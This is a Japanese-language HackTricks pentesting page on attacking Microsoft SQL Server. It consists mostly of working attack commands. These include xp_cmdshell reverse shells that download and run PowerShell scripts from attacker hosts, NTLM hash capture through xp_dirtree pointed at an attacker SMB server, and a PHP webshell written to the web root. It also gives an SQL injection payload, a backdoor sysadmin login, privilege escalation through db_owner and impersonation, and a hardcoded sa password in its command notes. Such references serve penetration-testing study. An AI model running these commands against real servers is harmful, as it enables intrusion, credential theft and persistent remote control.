38 KiB
1433 - Pentesting MSSQL - Microsoft SQL Server
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
脆弱性を見つけて、迅速に修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、テックスタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
基本情報
Microsoft SQL Serverは、Microsoftによって開発されたリレーショナルデータベース管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品です。これらのアプリケーションは、同じコンピュータ上またはネットワーク上(インターネットを含む)の別のコンピュータ上で実行される場合があります。
wikipediaから。
デフォルトポート: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
デフォルトのMS-SQLシステムテーブル
- masterデータベース: SQL Serverのインスタンスのシステムレベルの情報を記録します。
- msdbデータベース: SQL Server Agentがアラートとジョブのスケジュールに使用します。
- modelデータベース: SQL Serverのインスタンスで作成されるすべてのデータベースのテンプレートとして使用されます。モデルデータベースに対して行われた変更(データベースのサイズ、照合順序、回復モデル、その他のデータベースオプションなど)は、その後作成されるすべてのデータベースに適用されます。
- Resourceデータベース: SQL Serverに含まれるシステムオブジェクトが格納されている読み取り専用のデータベースです。システムオブジェクトはResourceデータベースに物理的に永続化されますが、論理的にはすべてのデータベースのsysスキーマに表示されます。
- tempdbデータベース: 一時オブジェクトや中間結果セットを保持するための作業領域です。
列挙
自動列挙
サービスについて何も知らない場合:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
{% hint style="info" %} 資格情報を持っていない場合は、それらを推測することができます。nmapまたはmetasploitを使用することができます。既存のユーザー名を使用して何度もログインに失敗すると、アカウントがブロックされる可能性があるため、注意してください。 {% endhint %}
Metasploit(資格情報が必要)
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
ブルートフォース
手動列挙
ログイン
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
一般的な列挙
1. Port Scanning
ポートスキャン
Port scanning is the process of scanning a target system to identify open ports and services running on those ports. It helps in identifying potential entry points for further exploitation.
ポートスキャンは、ターゲットシステムをスキャンして、開いているポートとそのポート上で実行されているサービスを特定するプロセスです。これにより、さらなる攻撃のための潜在的な侵入ポイントを特定するのに役立ちます。
2. Service Enumeration
サービス列挙
Service enumeration involves identifying the specific services running on the open ports. This helps in understanding the target system's architecture and potential vulnerabilities associated with the services.
サービス列挙は、開いているポート上で実行されている特定のサービスを特定することを意味します。これにより、ターゲットシステムのアーキテクチャとサービスに関連する潜在的な脆弱性を理解するのに役立ちます。
3. Banner Grabbing
バナーグラビング
Banner grabbing involves retrieving information from the service banners or headers. This information can provide details about the service version, operating system, and other useful information for further exploitation.
バナーグラビングは、サービスのバナーやヘッダから情報を取得することを意味します。この情報は、サービスのバージョン、オペレーティングシステム、およびその他の有用な情報を提供し、さらなる攻撃に役立ちます。
4. User Enumeration
ユーザー列挙
User enumeration involves identifying valid usernames on the target system. This can be done through techniques such as brute-forcing, guessing common usernames, or using default usernames.
ユーザー列挙は、ターゲットシステム上の有効なユーザー名を特定することを意味します。これは、ブルートフォース攻撃、一般的なユーザー名の推測、またはデフォルトのユーザー名の使用などの技術を使用して行うことができます。
5. Password Policy Enumeration
パスワードポリシー列挙
Password policy enumeration involves gathering information about the password policy implemented on the target system. This includes details such as password complexity requirements, password expiration policies, and account lockout policies.
パスワードポリシー列挙は、ターゲットシステムで実装されているパスワードポリシーに関する情報を収集することを意味します。これには、パスワードの複雑さの要件、パスワードの有効期限ポリシー、アカウントロックアウトポリシーなどの詳細が含まれます。
6. SQL Server Discovery
SQL Serverの検出
SQL Server discovery involves identifying the presence of Microsoft SQL Server on the target system. This can be done through techniques such as banner grabbing, port scanning, or using specific tools designed for SQL Server discovery.
SQL Serverの検出は、ターゲットシステム上のMicrosoft SQL Serverの存在を特定することを意味します。これは、バナーグラビング、ポートスキャン、またはSQL Serverの検出に特化した特定のツールを使用するなどの技術を使用して行うことができます。
7. SQL Server Version Detection
SQL Serverのバージョン検出
SQL Server version detection involves determining the specific version of Microsoft SQL Server running on the target system. This information can help in identifying known vulnerabilities and selecting appropriate exploitation techniques.
SQL Serverのバージョン検出は、ターゲットシステムで実行されているMicrosoft SQL Serverの特定のバージョンを判断することを意味します。この情報は、既知の脆弱性の特定や適切な攻撃技術の選択に役立ちます。
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
ユーザーの取得
{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
権限の取得
MSSQLの用語についての紹介:
- セキュアブル(Securable): SQL Server Database Engineの認可システムがアクセスを制御するリソースです。セキュアブルは以下の3つの広いカテゴリに分類されます:
- サーバー - 例: データベース、ログイン、エンドポイント、可用性グループ、サーバーロール
- データベース - 例: データベースロール、アプリケーションロール、スキーマ、証明書、フルテキストカタログ、ユーザー
- スキーマ - 例: テーブル、ビュー、プロシージャ、関数、シノニム
- 権限(Permission): 各SQL Serverセキュアブルには、ALTER、CONTROL、CREATEなどの関連する権限があります。権限は、ログインを使用してサーバーレベルで管理され、ユーザーを使用してデータベースレベルで管理されます。
- プリンシパル(Principal): セキュアブルに対して権限を受け取るエンティティのことをプリンシパルと呼びます。最も一般的なプリンシパルはログインとデータベースユーザーです。セキュアブルへのアクセスは、権限の付与や拒否、またはアクセス権を持つロールにログインやユーザーを追加することによって制御されます。
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
テクニック
OSコマンドの実行
{% hint style="danger" %}
コマンドを実行するためには、xp_cmdshell
が有効化されているだけでなく、xp_cmdshell
ストアドプロシージャのEXECUTE権限も必要です。以下のコマンドを使用して、**xp_cmdshell
**を使用できるユーザー(sysadmins以外)を確認できます。
Use master
EXEC sp_helprotect 'xp_cmdshell'
{% endhint %}
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
NetNTLMハッシュの盗み出し / リレーアタック
認証で使用されるハッシュをキャプチャするために、SMBサーバーを起動する必要があります(例:impacket-smbserver
またはresponder
)。
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
{% hint style="warning" %} 次のコマンドを使用して、sysadmins以外のユーザーがMSSQL関数を実行する権限を持っているかどうかを確認できます。
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
{% endhint %}
ツールであるresponderやInveighを使用することで、NetNTLMハッシュを盗むことができます。
これらのツールの使用方法は以下を参照してください:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}
MSSQLの信頼リンクの悪用
この機能を悪用する方法については、この投稿 を読んで詳細を確認してください:
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}
ファイルの書き込み
MSSQL
を使用してファイルを書き込むには、管理者特権が必要なOle Automation Proceduresを有効にし、その後、ファイルを作成するための一部のストアドプロシージャを実行する必要があります。
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
OPENROWSETを使用してファイルを読み取る
デフォルトでは、MSSQL
はアカウントが読み取りアクセス権を持つオペレーティングシステム内の任意のファイルを読み取ることができます。以下のSQLクエリを使用することができます。
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
ただし、BULK
オプションを使用するには、ADMINISTER BULK OPERATIONS
または ADMINISTER DATABASE BULK OPERATIONS
の権限が必要です。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
エラーベースのSQLiのベクトル:
SELECT column_name FROM table_name WHERE column_name = 'value' UNION ALL SELECT NULL, NULL, NULL, NULL FROM sys.messages WHERE language_id = 1033 AND severity = 16 AND text LIKE '%error%'
This error-based vector can be used to identify if the SQL injection vulnerability exists in the Microsoft SQL Server. By injecting a UNION ALL SELECT statement into the original query, we can retrieve error messages from the sys.messages table that contain the keyword 'error'. This technique helps in confirming the presence of SQL injection and can be used to extract sensitive information from the database.
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
RCE/ファイルの読み取りとスクリプトの実行(PythonとR)
MSSQLでは、Pythonと/またはRのスクリプトを実行することができます。これらのコードは、コマンドを実行するためにxp_cmdshellを使用するユーザーとは異なるユーザーによって実行されます。
例:**'R'**の "Hellow World!" が動作しない場合の例:
複数のアクションを実行するために設定されたPythonを使用した例:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
レジストリの読み取り
Microsoft SQL Serverは、ネットワークだけでなく、ファイルシステムやWindows Registryとのやり取りも可能にする複数の拡張ストアドプロシージャを提供しています。
通常の | インスタンス対応 |
---|---|
sys.xp_regread | sys.xp_instance_regread |
sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
sys.xp_regwrite | sys.xp_instance_regwrite |
sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
その他の例については、元のソースを参照してください。
MSSQLユーザー定義関数でのRCE - SQLHttp
カスタム関数を使用して、MSSQL内で.NET dllを読み込むことが可能です。ただし、これにはdbo
アクセスが必要ですので、データベースへの接続はsa
または管理者の役割である必要があります。
このリンクを参照して、例をご覧ください。
RCEの他の方法
コマンドの実行を取得するための他の方法もあります。例えば、拡張ストアドプロシージャの追加、CLRアセンブリ、SQL Serverエージェントジョブ、および外部スクリプトの追加です。
重要な脆弱性を見つけて、より迅速に修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、テックスタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
MSSQL特権昇格
db_ownerからsysadminへ
通常のユーザーが、管理者ユーザー(例:sa
)が所有するデータベースに対して**db_owner
の役割を与えられ、そのデータベースがtrustworthy
として構成されている場合、そのユーザーはこれらの特権を悪用して特権昇格を行うことができます。なぜなら、そのデータベースに作成されたストアドプロシージャ**が所有者(管理者)として実行できるからです。
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
メタスプロイトモジュールを使用することができます。
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
または、PS スクリプト:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
他のユーザーのなりすまし
SQL Serverには、**IMPERSONATE
**という特別な権限があります。これにより、実行ユーザーは他のユーザーやログインの権限を引き継ぐことができます。ただし、コンテキストがリセットされるかセッションが終了するまで有効です。
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
{% hint style="info" %} ユーザーをなりすますことができる場合、そのユーザーが他のデータベースやリンクされたサーバーにアクセスできるかどうかを確認する必要があります。 {% endhint %}
なお、sysadminになると他のどのユーザーでもなりすますことができます。
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
この攻撃はmetasploitモジュールを使用して実行することができます。
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
または、PS スクリプトを使用しても同様のことができます:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
MSSQLを使用した永続化
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
SQL Server Linked Serversからパスワードを抽出する
攻撃者はSQL Server Linked ServersのパスワードをSQLインスタンスから抽出し、それを平文で取得することができます。これにより、攻撃者はターゲット上でより大きな立場を獲得するために使用できるパスワードを入手します。 Linked Serversのために保存されたパスワードを抽出および復号化するスクリプトはこちらで見つけることができます。
この攻撃を実行するためには、いくつかの要件と設定が必要です。 まず、マシンで管理者権限を持っているか、SQL Serverの設定を管理する能力が必要です。
権限を確認した後、次の3つの設定を行う必要があります。
- SQL ServerインスタンスでTCP/IPを有効にする。
- スタートアップパラメータを追加します。この場合、トレースフラグである-T7806が追加されます。
- リモート管理接続を有効にする。
これらの設定を自動化するために、このリポジトリに必要なスクリプトがあります。 設定スクリプトとパスワードの抽出と復号化を組み合わせた完全なスクリプトもリポジトリにあります。
この攻撃に関する詳細情報については、次のリンクを参照してください: MSSQLデータベースリンクサーバーパスワードの復号化
ローカル特権昇格
MSSQLサーバーを実行しているユーザーは、特権トークンSeImpersonatePrivilegeが有効になっています。
おそらく、次の2つのページのいずれかを使用して管理者に昇格することができるでしょう:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}
Shodan
port:1433 !HTTP
参考文献
- https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
- https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
- https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/
- https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackTricks自動コマンド
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。